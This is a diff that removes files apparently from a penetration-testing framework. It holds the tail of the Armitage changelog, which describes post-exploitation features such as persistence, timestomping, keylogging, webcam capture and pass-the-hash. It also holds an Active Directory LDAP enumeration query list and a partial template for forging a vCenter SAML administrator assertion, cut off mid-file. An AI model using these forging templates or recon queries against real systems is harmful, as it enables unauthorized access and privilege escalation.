launcher for John the Ripper: auxiliary/analyze/jtr_crack_fast
|
||||
- Added Post Modules item to Meterpreter N -> Explore and Shell N menus.
|
||||
This menu item will show applicable post-exploitation modules in
|
||||
the module browser.
|
||||
- Loot browser now opens loot viewer as a tab.
|
||||
- Loot viewer now has many of the same keyboard shortcuts as a console
|
||||
tab. You can Ctrl+F to search for stuff, Ctrl+Plus/Minus to increase
|
||||
and shrink the font, and Ctrl+A to select everything.
|
||||
|
||||
02 Jul 11 - Change Log
|
||||
---------
|
||||
- Doubled wait time for Meterpreter ls command to complete.
|
||||
- Armitage now shows psexec option instead of smb on Login menu for
|
||||
Windows hosts (when smb service is present).
|
||||
- Fixed bug preventing manual import of a single host
|
||||
- Removed automatic resending of console commands that didn't appear
|
||||
sent. This was a work-around for a msf bug that may not be present
|
||||
anymore. We'll find out.
|
||||
- Removed --script-all from NMap profiles. I saw quite a discussion
|
||||
about this on the NMap mailing list. Oops. Oh well :)
|
||||
http://seclists.org/nmap-dev/2011/q2/572
|
||||
- All host import options now use Metasploit's import_data RPC call.
|
||||
This is what all the remote calls map to anyways.
|
||||
- Added Help button to start dialog.
|
||||
- Armitage now opens cmd.exe and executes programs from the file
|
||||
browser using the current process token (execute -t in Meterpreter)
|
||||
- Added logging. Logs are stored in ~/.armitage organized as
|
||||
[date]/[host]/[file]. The logging captures:
|
||||
|
||||
- all Console tab output (console.log)
|
||||
- the collaboration event log (event.log)
|
||||
- all Meterpreter tab output (meterpreter_[session].log)
|
||||
- all Command Shell tab output (cmd_[session]_[pid].log)
|
||||
- all Shell tab output (shell_[session].log)
|
||||
- all Screenshots captured through Armitage (.../Screenshots/)
|
||||
- all Webcam shots captured through Armitage (.../Webcam Shots/)
|
||||
|
||||
You can turn this off by setting armitage.log_everything.boolean
|
||||
to false in the Armitage preferences.
|
||||
- Added a Reset button to preferences dialog to reset Armitage
|
||||
preferences.
|
||||
- SSL now defaults to off on all platforms
|
||||
- Added a Default button to the database settings helper. This
|
||||
button loads the default database settings ignoring what is in the
|
||||
config file.
|
||||
- Loot viewer now uses the same colors and font as a console tab
|
||||
- Fixed bug preventing Loot browser from populating data/time column
|
||||
- Preferences dialog now brings font and shortcut dialogs to front
|
||||
to prevent them from being hidden by prefs dialog.
|
||||
|
||||
24 Apr 11 - Happy Birthday Gerry Edition
|
||||
---------
|
||||
- Added a check to prevent jerk faces from entering an empty nick in
|
||||
collaborative mode. :)
|
||||
- Fixed a potential dead-lock condition with the screenshot/webcam
|
||||
shot tab.
|
||||
- Armitage -> Listeners -> Reverse now binds to 0.0.0.0.
|
||||
- Host import now posts an event to the collab mode shared event log
|
||||
- added an option to display an MOTD message to clients that connect
|
||||
to Armitage in the collaboration mode. Use -m or --motd before
|
||||
--server and specify a file, e.g.:
|
||||
|
||||
armitage -m /path/to/motd.txt --server ...
|
||||
|
||||
Clients will see this message when they connect.
|
||||
- Added Meterpreter -> Access -> Pass Session to send a meterpreter
|
||||
session to a handler set up on another host.
|
||||
- Armitage now sets ExitOnSession to false for multi/handlers started
|
||||
within Armitage.
|
||||
- Pivoting and ARP Scan dialogs now highlight first option by default.
|
||||
- Added a sanity check to the Route class to prevent malformed IPs
|
||||
from screwing up sorting.
|
||||
- Removed sqlite3 from the database options. I should have done this
|
||||
long ago--it has no place in Armitage.
|
||||
- Armitage now intercepts meterpreter "shell" command and opens a
|
||||
new tab with the cmd.exe interaction in it.
|
||||
|
||||
17 Apr 11 - Change Log
|
||||
---------
|
||||
- Windows command shell interactions are now less likely to die. How
|
||||
oh how did we get here? Armitage interacts with cmd.exe through a
|
||||
Meterpreter channel. If an unnecessary read happens, it ties up the
|
||||
meterpreter session for 10-20s AND the channel dies. If you typed
|
||||
commands in too quickly, it's probable that Armitage would do an
|
||||
unnecessary read and the channel would die. I believe I've headed
|
||||
off this problem. Armitage now locks the channel until the command
|
||||
completes. If the command times out or completes, the channel
|
||||
becomes unlocked. This should prevent most out of place reads. In
|
||||
collaboration mode, this was a great way for excited teammates to
|
||||
tie up the meterp session for everyone. :) "I typed this command
|
||||
20 times and nothing happened!!!" Doh! You queued 20 reads with a
|
||||
10-20S timeout each and destroyed that channel. -- Armitage
|
||||
protects against this situation now.
|
||||
- Command history no longer saves empty commands.
|
||||
- Armitage server mode now provides all details that a client needs
|
||||
to connect to the server.
|
||||
|
||||
13 Apr 11 - Change Log (Dayton, OH Capstone Edition)
|
||||
---------
|
||||
- Metasploit now has host normalization (this is great news). I've
|
||||
removed the OS reporting code from Armitage as a consequence. This
|
||||
means less overhead communicating with Metasploit
|
||||
- Fixed a potential deadlock triggered when interacting with a Windows
|
||||
command shell. Sorry about the freezes Matt and Brant.
|
||||
- Fixed a strange condition in Armitage that sometimes caused shell
|
||||
sessions to die.
|
||||
- Download from file browser now notifies user when a file is downloaded.
|
||||
- Armitage server mode now prints database connect string to console to
|
||||
assist with set up of Metasploit teaming.
|
||||
- Fixed a bug causing exploit recommendations to not show for Windows
|
||||
hosts due to host normalization
|
||||
- Added a check to prevent cd .. button in file browser from retriggering
|
||||
too quickly. This will prevent the meterpreter command queue from
|
||||
becoming very backed up doing a cd/ls over and over again.
|
||||
- Graph view no longer counts edges as a selected item when creating a
|
||||
list of hosts to apply an action to.
|
||||
- Added another heuristic to prevent Windows cmd.exe interaction from
|
||||
locking up.
|
||||
|
||||
10 Apr 11 - Change Log
|
||||
---------
|
||||
- Fixed key logger dump button.
|
||||
- Process migrate function displays success or fail message again.
|
||||
- Armitage now displays nmap output in a tab. You can thank scriptjunkie
|
||||
for making this work in Metasploit. Please send cash, check, or money
|
||||
order directly to him.
|
||||
- Greatly improved post-pivot host discovery workflow... here's the deal:
|
||||
-- [host] -> Meterpreter -> ARP Scan menu now shows networks local to
|
||||
host and lets you choose to launch an ARP scan from that Meterpreter
|
||||
session.
|
||||
-- Highlight one or more hosts, right-click, and select Scan to launch
|
||||
MSF discovery scans against the highlighted hosts.
|
||||
- Added a rudimentary loot browser/viewer to Armitage. Go to View -> Loot
|
||||
to see the currently captured loots. Loot is the Metasploit term for
|
||||
data captured by certain post/ modules.
|
||||
- Armitage now presents a warning when it detects a second Metasploit
|
||||
user connected to the same Metasploit server without the collaboration
|
||||
server in place.
|
||||
- Armitage collaboration mode now updates target information more often
|
||||
- Updated Armitage to work with Metasploit's new normalized host OS
|
||||
constants and to restore the os_flavor value when it is wiped out.
|
||||
|
||||
16 Mar 11
|
||||
---------
|
||||
- Shell -> Disconnect now executes in a separate thread.
|
||||
- Armitage now creates ~/armitage-tmp and writes there if the current dir
|
||||
is /Applications or it can't write to the current directory.
|
||||
- Fixed a potential deadlock issue in the file browser
|
||||
- Directory up button in file browser now shows that it has been pressed
|
||||
- Added Execute option to file browser (now you can run a program by
|
||||
right-clicking on it and selecting Execute--for Jesse)
|
||||
- Multiple improvements to responsiveness of command shell and meterpreter
|
||||
tabs. This should benefit collaboration mode too.
|
||||
|
||||
12 Mar 11 (MACCDC Post Day 1 Update)
|
||||
---------
|
||||
- Fixed a bug preventing host import from working with a remote connection
|
||||
- Armitage client now increases default wait for meterpreter commands to
|
||||
complete when in teaming mode.
|
||||
- Increased wait time to download a generated payload file to 8s.
|
||||
|
||||
11 Mar 11 Update (0100h EST)
|
||||
---------
|
||||
- Fixed a deadlock condition in the module launcher (caused by the changes
|
||||
to increase responsiveness... oops).
|
||||
|
||||
10 Mar 11 Update (2230h EST)
|
||||
---------
|
||||
- Fixed race condition importing manual list of hosts (sometimes the file
|
||||
would get deleted). Grr.
|
||||
- Added a lock to prevent multiple Armitage clients from trying to
|
||||
determine what OS a box has. This should help in CTF situations.
|
||||
|
||||
10 Mar 11 Changes
|
||||
---------
|
||||
|
||||
Quick story: NECCDC 2011 Red Team. TJ launches a script that lands 70
|
||||
sessions in the first few seconds. 11 red team members are connected to
|
||||
Armitage eager to carry out their pieces of pwnage. The Ruby process pegs
|
||||
the CPU and Armitage fails spectacularly. Very funny. This releases fixes
|
||||
that.
|
||||
|
||||
- Armitage YAML parser now accepts quoted strings in the YAML fields
|
||||
- Added caching of sessions.list, db.hosts, and db.services to Armitage
|
||||
collaboration server. This should help prevent msfrpcd from overloading
|
||||
when many clients are connected and owning boxen at one time.
|
||||
- Improved GUI responsiveness by making several parts of the Armitage GUI
|
||||
spawn a new thread to avoid blocking while communicating with Metasploit
|
||||
- Added a tooltip to the "Start MSF" and "Connect" buttons to clarify use
|
||||
- Export credentials button now prompts for a remote file when connected
|
||||
to a remote Metasploit instance.
|
||||
- Export credentials and payload generate output now transparently
|
||||
downloads to your local host when connected to Armitage's collab server.
|
||||
- Armitage now loads stdapi in Meterpreter if it finds it's not loaded.
|
||||
Armitage also prompts you to rerun the failed command when this happens.
|
||||
- Right-click in services now shows popup for taking actions against
|
||||
selected hosts. Now you can do mass actions against hosts sorted by port.
|
||||
- Added Access -> Persist to Meterpreter menu. This will run Meterpreter's
|
||||
persistence script using the default Armitage handler. Meterpreter will
|
||||
start at boot and at login.
|
||||
- Added an Armitage.app file for MacOS X. Use Armitage from OS X as a
|
||||
client to connect to Metasploit hosted in other places.
|
||||
- Added a check for whether current working directory is writeable or not.
|
||||
If it's not, Armitage does all of its read/write operations in home dir.
|
||||
|
||||
Tested with 10 concurrent Armitage clients from four boxes with 140+ shell
|
||||
sessions and a few meterpreter sessions. I think we're ready to rock now.
|
||||
|
||||
27 Feb 11 Changes
|
||||
---------
|
||||
- Webcam snap features works again. Sorry about that. :)
|
||||
- Download file button in file browser now works through the collaboration
|
||||
server. This feature has a few limitations / requirements:
|
||||
|
||||
1) Armitage server must have the same $PWD as msfrpcd
|
||||
2) Files must download in less than 12s or else you'll need to retrieve
|
||||
them from the msfrpcd host.
|
||||
3) Recursive downloads of files from a directory are kept on the host with
|
||||
msfrpcd. You'll need to retrieve them with sftp or something else.
|
||||
|
||||
25 Feb 11 Changes
|
||||
---------
|
||||
|
||||
This release is primarily bug fixes. The network attack collaboration
|
||||
feature is further tested and ready for your use.
|
||||
|
||||
See: http://www.youtube.com/watch?v=coF8dVLBnOQ
|
||||
|
||||
- Armitage now consumes data from msfrpcd's stderr when Start MSF button is
|
||||
used. This means Armitage won't lock up when database tables are
|
||||
initialized during the first run on Windows.
|
||||
- pivoting, logins, hail mary, and pass-the-hash now print to the event log.
|
||||
- Pass-the-hash dialog is now available via [host] -> Login -> psexec.
|
||||
- Fixed bug causing Event Log menu to be present outside of collab mode.
|
||||
- armitage.sh start-up shell script is now named armitage
|
||||
- Console destroy and shell unlocking commands on tab close now happen in a
|
||||
new thread to prevent the GUI from blocking.
|
||||
- Armitage now stops meterpreter read thread when it detects a dead session.
|
||||
- Replaced jyaml with a quick and dirty parser that doesn't mistake ####e#
|
||||
for a double number. This was screwing up connecting to postgres for some
|
||||
of you.
|
||||
- Upload button in file browser now works through Armitage's collab server
|
||||
- Added Ctrl+P shortcut to save screen capture of hosts graph view
|
||||
|
||||
22 Feb 11 Changes
|
||||
---------
|
||||
- Improved shell "when should I read more data from this channel" heuristic.
|
||||
This means command shell sessions should not freeze on an errant Meterp.
|
||||
read command that blocks until the universe is recreated.
|
||||
- Fixed a potential deadlock using Armitage's meterpreter dialogs with a
|
||||
meterpreter tab open.
|
||||
- Command shell tab now only opens when Armitage knows channel and PID
|
||||
settings
|
||||
- Rewrote how Armitage interfaces with Meterpreter. This has a few impacts:
|
||||
-- Armitage now waits for a command to execute and reads its output
|
||||
before executing another command. This prevents Armitage from getting
|
||||
confused when you're doing a lot of stuff at once.
|
||||
-- You can now open multiple meterpreter console tabs for a session
|
||||
-- Commands executed by Armitage's dialogs will not show up in your
|
||||
Meterpreter tab(s).
|
||||
- File browser now does a cd "current directory" before each action.
|
||||
- Added a network attack collaboration feature to Armitage. This is as
|
||||
beta as it gets (although it *should* work). To use it, start msfrpcd
|
||||
and connect Armitage's collaboration server (on the same box as msfrcpd!)
|
||||
|
||||
./armitage --server host port user pass [ssl? 1 or 0]
|
||||
|
||||
This will connect Armitage's collaboration server to the Metasploit RPC
|
||||
daemon you specify. This server will then bind port+1 and tell future
|
||||
Armitage clients to use it for extra collaboration features.
|
||||
|
||||
Connect one or more remote Armitage clients as normal. Some of the
|
||||
features you get in this mode:
|
||||
|
||||
1. View -> Event Log for chatting and watching major events
|
||||
2. Command shell and webcam/screenshot features work for remote clients
|
||||
3. Armitage clients automatically lock a shell session when they're in use
|
||||
and notify other clients that it's locked if they try to use it.
|
||||
4. Transparent real-time sharing of meterpreter amongst multiple clients.
|
||||
- Payload generation now works on Windows (I wasn't escaping the backslashes
|
||||
in the paths... doh!)
|
||||
- Armitage now prompts you for a path (and not a file chooser) when generating
|
||||
a payload using a remote connection to Metasploit.
|
||||
- Armitage now loads database settings from file in MSF_DATABASE_CONFIG env var
|
||||
- You can now highlight text in the Armitage console tabs on MacOS X.
|
||||
- Fixed a potential deadlock when opening a Windows command shell tab
|
||||
|
||||
Update 9am EST
|
||||
- Removed a remnant of my development environment from server.sl. If you see:
|
||||
jar file to import package from was not found! at line 25
|
||||
|
||||
Then you need to update.
|
||||
|
||||
13 Feb 11 Changes
|
||||
---------
|
||||
- Organized View menu (it was getting out of control)
|
||||
- Added RPC Console item to view menu (Start MSF only). This item will show
|
||||
the STDOUT for msfrpcd. Use this to watch nmap's output.
|
||||
- Added Ctrl+A shortcut to select all text in a console tab
|
||||
- Kill meterpreter, kill pivots, and credential dumps now use fresh
|
||||
consoles to execute. This ensures they will execute even if the global
|
||||
console is stale (this sometimes happens.)
|
||||
- Added tab completion to Meterpreter window.
|
||||
- Hosts -> Import Hosts now lets you select multiple files to import at once.
|
||||
- Use SSL is now checked by default on Linux (and unchecked by def. on Win)
|
||||
- Updated Armitage to remove or alter some UI options when connected to a
|
||||
remote Metasploit RPC instance.
|
||||
|
||||
-- Meterpreter shell is the only interact option
|
||||
-- Webcam and Screenshot menu items are gone
|
||||
-- Upload asks for a full file name rather than show a file chooser dialog
|
||||
|
||||
These adjustments are necessary during remote connections as Armitage does
|
||||
not have access to the local file system of the Metasploit RPC daemon.
|
||||
|
||||
21 Jan 11 Changes
|
||||
---------
|
||||
- Increased wait time between connection attempts to MSF RPC
|
||||
- Fixed bug with Windows command shell not working when using Armitage from a
|
||||
Windows host.
|
||||
- Host refresh using sysinfo now only happens when no OS is set for the host.
|
||||
- Fixed a deadlock condition caused when an automatic sysinfo request was
|
||||
made while a Meterpreter tab for the same host was open.
|
||||
|
||||
18 Jan 11 Changes
|
||||
---------
|
||||
- Added a Migrate Now! item to Meterpreter Access menu. Runs migrate -f.
|
||||
- Right-click in Meterpreter console now shows menu as before (silly bugs).
|
||||
- Armitage now detects hashdump failure and reports possible causes to you.
|
||||
- Armitage now binds default handler to 0.0.0.0.
|
||||
- Added a table view for the targets area. Go to View -> Targets to change the
|
||||
setting. If you're working with many hosts, table view may be better for you.
|
||||
- Added preliminary support for Metasploit post/ modules. You can launch them
|
||||
and if a host is highlighted, Armitage will populate the SESSION var for you.
|
||||
- Armitage now uses the sysinfo command in a meterpreter session to pull host
|
||||
OS info if it doesn't know it. This also means Armitage will auto-populate
|
||||
the host OS when a client-side attack is successful.
|
||||
- Tab completion is now ignored when input field is empty
|
||||
|
||||
13 Jan 11 Changes
|
||||
---------
|
||||
- Hosts reported as Windows Me now display W2K era Windows logo.
|
||||
- "Hail Mary" attack is now launched and managed by Armitage. Exploits are
|
||||
selected using the output of db_autopwn AND the operating system information
|
||||
Armitage knows. Also attacks are launched in a more optimal order (sorted by
|
||||
exploit rank/age). This is a big improvement over db_autopwn by itself.
|
||||
- Added a link to the Armitage Issue Tracker in the Help menu.
|
||||
- Updated remote exploit payload selection to choose Java payloads or Windows
|
||||
shell payloads before resorting to the generic/* payloads.
|
||||
- Updated client-side exploit launcher to let you select the target. Armitage
|
||||
uses this target (plus the exploit name) to determine which payload to use.
|
||||
multi/java_signed_applet works very nicely now ;)
|
||||
- Fixed (once and for all now) the mysterious OS info not refreshing bug.
|
||||
Now those pretty OS pictures will show up if Metasploit knows about the OS.
|
||||
- Added a 52 character length limit to a target's description in the target
|
||||
dropdown. This stops weird GUI layouts caused by long target descriptions.
|
||||
- Exploit recommendations now take into account FreeBSD hosts.
|
||||
- Added an OpenBSD option to the hosts menu.
|
||||
- Armitage now does a setg AutoLoadStdapi true when setting up MSF.
|
||||
- Last modified field of file browser now sorts properly.
|
||||
- Jobs console and its kill feature should now work in all circumstances.
|
||||
- Session menus for meterpreter now limited for non-Win meterp sessions.
|
||||
- Updated Armitage/Windows to provide a better startup experience. Simply
|
||||
extract the archive over your MSF install and rock n' roll.
|
||||
|
||||
22 Dec 10 Changes
|
||||
---------
|
||||
- Updated meterpreter shell and command shell console to honor your set
|
||||
preferences. I forgot to pass $preferences to the console constructor. Doh!
|
||||
- Added a -d/--debug command line option. This will dump System.getProperties()
|
||||
and a log of all exchanges with the MSF server to debug.log in the current
|
||||
working directory.
|
||||
- To play nice with existing conventions, Armitage is now licensed under the
|
||||
BSD license. Distribute, use, reuse, recycle.... have fun.
|
||||
- Fixed a deadlock condition that arose when a large nmap scan is imported
|
||||
- About dialog now shows up centered.
|
||||
- Armitage now has a graphic for Cisco IOS. You can mark a host as a Cisco IOS
|
||||
device. Also Armitage recognizes IOS from an NMAP Scan.
|
||||
- Fixed Armitage "crash" due to read timeouts. This would occur for those of
|
||||
you who ran a really taxing operation (e.g., db_autopwn).
|
||||
- Added a time limit flag to db_autopwn (20s)
|
||||
- Ctrl+R is now even more aggressive clearing internal data structures.
|
||||
- Shell N -> Meterpreter... no longer blocks waiting for the operation to
|
||||
complete.
|
||||
|
||||
13 Dec 10 Changes
|
||||
---------
|
||||
|
||||
- Added Meterpreter -> Browse -> Webcam Shot to grab webcam snap shots.
|
||||
- You may now click the image in the webcam/screenshot view to save it.
|
||||
- Workspace -> Create menu now automatically switches you to the net workspace.
|
||||
- UNIX shell sessions now have an Upload... menu. This item will open a local
|
||||
file and use the printf command on the remote host to put it together. It's
|
||||
slow but it works.
|
||||
- Removed the rename file menu item from the file browser. It turns out I had
|
||||
my Windows command shell vs. meterpreter command interface crossed. The
|
||||
command doesn't exist in Meterpreter.
|
||||
- Upload button now waits until file is uploaded to refresh file listing
|
||||
- Added Timestomp item to File Browser popup menu. This works like a clipboard.
|
||||
Select Get MACE to capture the MACE values of the current file. Use Set MACE
|
||||
on another file to set the MACE values to the currently known attributes.
|
||||
- Dump hashes menu item no longer pulls up a new credentials tab.
|
||||
- Added a Refresh button to the credentials tab.
|
||||
- Updated db refresh code to be a little smarter about when it needs to merge
|
||||
db_notes hints into the MSF database.
|
||||
|
||||
6 Dec 10 Changes
|
||||
--------
|
||||
|
||||
- added -y filename.yml command line option for specifying a YAML file with
|
||||
database parameters
|
||||
- updated "Start MSF" to launch "ruby msfrpcd" on Windows. This requires the
|
||||
current working directory of Armitage be set to the Metasploit base directory.
|
||||
- jobs view now parses job output with only 3 columns of information.
|
||||
- connect dialog is now centered on your screen when you start Armitage
|
||||
- Armitage now saves your settings when you use Start MSF.
|
||||
- Armitage now forces cells in editor mode to save before launching a module or
|
||||
an exploit. This should prevent a few surprises where things seemed like they
|
||||
weren't working for a few of you.
|
||||
- MSF Discovery Scans are now started from a separate thread, preventing
|
||||
Armitage from "locking up" while the scans launch. A dialog also comes up to
|
||||
state how many scans were launched.
|
||||
- MSF Discovery Scans are now limited to 2 threads/scan on Windows and 8 on
|
||||
other operating systems. This prevents serious lag issues caused by
|
||||
starting too many threads.
|
||||
- connect dialog is now a window, meaning it has an icon in whatever your
|
||||
window manager is and if you close it Armitage exits.
|
||||
- updated DB Connect String helper dialog to ask for DB user, DB pass, DB host,
|
||||
and DB name. This should prevent some of you from confusing the database
|
||||
user/pass with the MSFRPCD user/pass.
|
||||
- Current environment variables are now passed to msfrpcd when executed from
|
||||
Armitage. This will allow msfrpcd to inherit any PATH changes and other
|
||||
necessary things when Armitage is run from a shell script or batch file.
|
||||
- Added .svn folders to the Armitage distribution. Now you can use svn update .
|
||||
to keep your install of Armitage up to date.
|
||||
- File browser upload and make directory commands now allow files with spaces
|
||||
in them.
|
||||
- Armitage will now exit if it takes longer than 5 seconds to shutdown msfrpcd
|
||||
when cancel is pressed during the connecting phase.
|
||||
|
||||
25 Nov 10
|
||||
---------
|
||||
- start msf button now kills msfrpcd session if db_connect fails
|
||||
- set default database options to mysql with BackTrack 4 R2 settings.
|
||||
- Armitage -> Exit menu now kills msfrpcd, if the "Start MSF" button was used
|
||||
- Added ability to set up a multi/handler from Payload launch dialog
|
||||
|
||||
13 Nov 10
|
||||
---------
|
||||
- fixed file browser directory icon showing up in every field within Windows L&F
|
||||
- added an export button to the credentials view. This will save the credentials to
|
||||
a pwdump format file.
|
||||
- fixed console highlighting issue, sadly you'll need to click in the console input
|
||||
box for it to have focus again. Write once, debug everywhere.
|
||||
- added "hail mary" attack option--this launches db_autopwn
|
||||
- attack menus now honor the armitage.required_exploit_rank.string setting
|
||||
- added Ctrl+R shortcut for refreshing the target view (esp. OS info)
|
||||
- fixed db_notes parsing for latest version of MSF (3.5.x?)
|
||||
- fixed how auxiliary scans are displayed in the jobs table.
|
||||
- db connect helper now prepopulates fields with info taken from connect string
|
||||
- added an 8s timeout to abort the database connect if it fails.
|
||||
- OS from db_notes to db_hosts refresh is now guaranteed on connect
|
||||
- Packaged everything into a single jar file, now I can code in what I like
|
||||
without hassle from people who are too lazy to look at the code.
|
||||
- SSL handshake now fails after 8 seconds (should give those of you trying
|
||||
an SSL connect to a non-SSL server an idea that something is up)
|
||||
- added an executable to launch Armitage on Windows
|
||||
- fixed command shell interaction bug caused by directories with spaces.
|
||||
- Start MSF button now reports an error if it couldn't start MSF-RPC
|
||||
|
||||
2 Nov 10
|
||||
--------
|
||||
- Initial (priv8) release.
|
||||
@@ -1,98 +0,0 @@
|
||||
---
|
||||
queries:
|
||||
- action: ENUM_ALL_OBJECT_CLASS
|
||||
description: 'Dump all objects containing any objectClass field.'
|
||||
filter: '(objectClass=*)'
|
||||
attributes:
|
||||
- dn
|
||||
- objectClass
|
||||
- action: ENUM_ALL_OBJECT_CATEGORY
|
||||
description: 'Dump all objects containing any objectCategory field.'
|
||||
filter: '(objectCategory=*)'
|
||||
attributes:
|
||||
- dn
|
||||
- objectCategory
|
||||
- action: ENUM_ACCOUNTS
|
||||
description: 'Dump info about all known user accounts in the domain.'
|
||||
filter: '(|(objectClass=organizationalPerson)(sAMAccountType=805306368))'
|
||||
attributes:
|
||||
- dn
|
||||
- name
|
||||
- displayName
|
||||
- samAccountName
|
||||
- userPrincipalName
|
||||
- userAccountControl
|
||||
- homeDirectory
|
||||
- homeDrive
|
||||
- profilePath
|
||||
- action: ENUM_COMPUTERS
|
||||
description: 'Dump all objects containing an objectCategory of Computer.'
|
||||
filter: '(objectCategory=Computer)'
|
||||
attributes:
|
||||
- dn
|
||||
- displayName
|
||||
- distinguishedName
|
||||
- dNSHostName
|
||||
- description
|
||||
- givenName
|
||||
- name
|
||||
- operatingSystemVersion
|
||||
- operatingSystemServicePack
|
||||
- action: ENUM_DOMAIN_CONTROLLERS
|
||||
description: 'Dump all known domain controllers.'
|
||||
filter: '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))'
|
||||
attributes:
|
||||
- dn
|
||||
- displayName
|
||||
- distinguishedName
|
||||
- dNSHostName
|
||||
- description
|
||||
- givenName
|
||||
- name
|
||||
- operatingSystemVersion
|
||||
- operatingSystemServicePack
|
||||
- action: ENUM_EXCHANGE_SERVERS
|
||||
description: 'Dump info about all known Exchange servers.'
|
||||
filter: '(&(objectClass=msExchExchangeServer)(!(objectClass=msExchExchangeServerPolicy)))'
|
||||
attributes:
|
||||
- dn
|
||||
- displayName
|
||||
- distinguishedName
|
||||
- dNSHostName
|
||||
- description
|
||||
- givenName
|
||||
- name
|
||||
- operatingSystemVersion
|
||||
- operatingSystemServicePack
|
||||
- action: ENUM_EXCHANGE_RECIPIENTS
|
||||
description: 'Dump info about all known Exchange recipients.'
|
||||
filter: '(|(mailNickname=*)(proxyAddresses=FAX:*))'
|
||||
attributes:
|
||||
- dn
|
||||
- mailNickname
|
||||
- proxyAddresses
|
||||
- name
|
||||
- action: ENUM_GROUPS
|
||||
description: 'Dump info about all known groups in the LDAP environment.'
|
||||
filter: '(|(objectClass=group)(objectClass=groupOfNames)(groupType:1.2.840.113556.1.4.803:=2147483648)(objectClass=posixGroup))'
|
||||
attributes:
|
||||
- dn
|
||||
- name
|
||||
- groupType
|
||||
- memberof
|
||||
- action: ENUM_ORGUNITS
|
||||
description: 'Dump info about all known organizational units in the LDAP environment.'
|
||||
filter: '(objectClass=organizationalUnit)'
|
||||
attributes:
|
||||
- dn
|
||||
- displayName
|
||||
- name
|
||||
- description
|
||||
- action: ENUM_ORGROLES
|
||||
description: 'Dump info about all known organization roles in the LDAP environment.'
|
||||
filter: '(objectClass=organizationalRole)'
|
||||
attributes:
|
||||
- dn
|
||||
- displayName
|
||||
- name
|
||||
- description
|
||||
@@ -1,8 +0,0 @@
|
||||
---
|
||||
queries:
|
||||
# - action: SAMPLE_ACTION
|
||||
# description: 'A description.'
|
||||
# filter: '(objectClass=*)'
|
||||
# attributes:
|
||||
# - dn
|
||||
# - objectClass
|
||||
@@ -1,55 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" Destination="https://<%= vcenter_fqdn.encode(xml: :text) %>/ui/saml/websso/sso" ID="_<%= vcenter_saml_response_id.encode(xml: :text) %>" InResponseTo="<%= vcenter_saml_id.encode(xml: :text) %>" IssueInstant="<%= vcenter_saml_issue.encode(xml: :text) %>" Version="2.0">
|
||||
<saml2:Issuer xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">https://<%= vcenter_fqdn.encode(xml: :text) %>/websso/SAML2/Metadata/<%= vcenter_saml_domain.encode(xml: :text) %></saml2:Issuer>
|
||||
<saml2p:Status>
|
||||
<saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
|
||||
<saml2p:StatusMessage>Request successful</saml2p:StatusMessage>
|
||||
</saml2p:Status>
|
||||
<saml2:Assertion xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ID="_<%= vcenter_saml_assert_id.encode(xml: :text) %>" IssueInstant="<%= vcenter_saml_issue.encode(xml: :text) %>" Version="2.0">
|
||||
<saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">https://<%= vcenter_fqdn.encode(xml: :text) %>/websso/SAML2/Metadata/<%= vcenter_saml_domain.encode(xml: :text) %></saml2:Issuer>
|
||||
<saml2:Subject>
|
||||
<saml2:NameID Format="http://schemas.xmlsoap.org/claims/UPN"><%= vcenter_saml_user.encode(xml: :text) %>@<%= vcenter_saml_domain.encode(xml: :text) %></saml2:NameID>
|
||||
<saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
|
||||
<saml2:SubjectConfirmationData InResponseTo="<%= vcenter_saml_id.encode(xml: :text) %>" NotOnOrAfter="<%= vcenter_saml_not_after.encode(xml: :text) %>" Recipient="https://<%= vcenter_fqdn.encode(xml: :text) %>/ui/saml/websso/sso"/>
|
||||
</saml2:SubjectConfirmation>
|
||||
</saml2:Subject>
|
||||
<saml2:Conditions NotBefore="<%= vcenter_saml_not_before.encode(xml: :text) %>" NotOnOrAfter="<%= vcenter_saml_not_after.encode(xml: :text) %>">
|
||||
<saml2:ProxyRestriction Count="10"/>
|
||||
<saml2:Condition xmlns:rsa="http://www.rsa.com/names/2009/12/std-ext/SAML2.0" Count="10" xsi:type="rsa:RenewRestrictionType"/>
|
||||
<saml2:AudienceRestriction>
|
||||
<saml2:Audience>https://<%= vcenter_fqdn.encode(xml: :text) %>/ui/saml/websso/metadata</saml2:Audience>
|
||||
</saml2:AudienceRestriction>
|
||||
</saml2:Conditions>
|
||||
<saml2:AuthnStatement AuthnInstant="<%= vcenter_saml_issue.encode(xml: :text) %>" SessionIndex="_<%= vcenter_saml_idx_id.encode(xml: :text) %>" SessionNotOnOrAfter="<%= vcenter_saml_not_after.encode(xml: :text) %>">
|
||||
<saml2:AuthnContext>
|
||||
<saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef>
|
||||
</saml2:AuthnContext>
|
||||
</saml2:AuthnStatement>
|
||||
<saml2:AttributeStatement>
|
||||
<saml2:Attribute FriendlyName="userPrincipalName" Name="http://schemas.xmlsoap.org/claims/UPN" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
|
||||
<saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_user.encode(xml: :text) %>@<%= vcenter_saml_domain.encode(xml: :text) %></saml2:AttributeValue>
|
||||
</saml2:Attribute>
|
||||
<saml2:Attribute FriendlyName="Groups" Name="http://rsa.com/schemas/attr-names/2009/01/GroupIdentity" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
|
||||
<saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\Users</saml2:AttributeValue>
|
||||
<saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\Administrators</saml2:AttributeValue>
|
||||
<saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\CAAdmins</saml2:AttributeValue>
|
||||
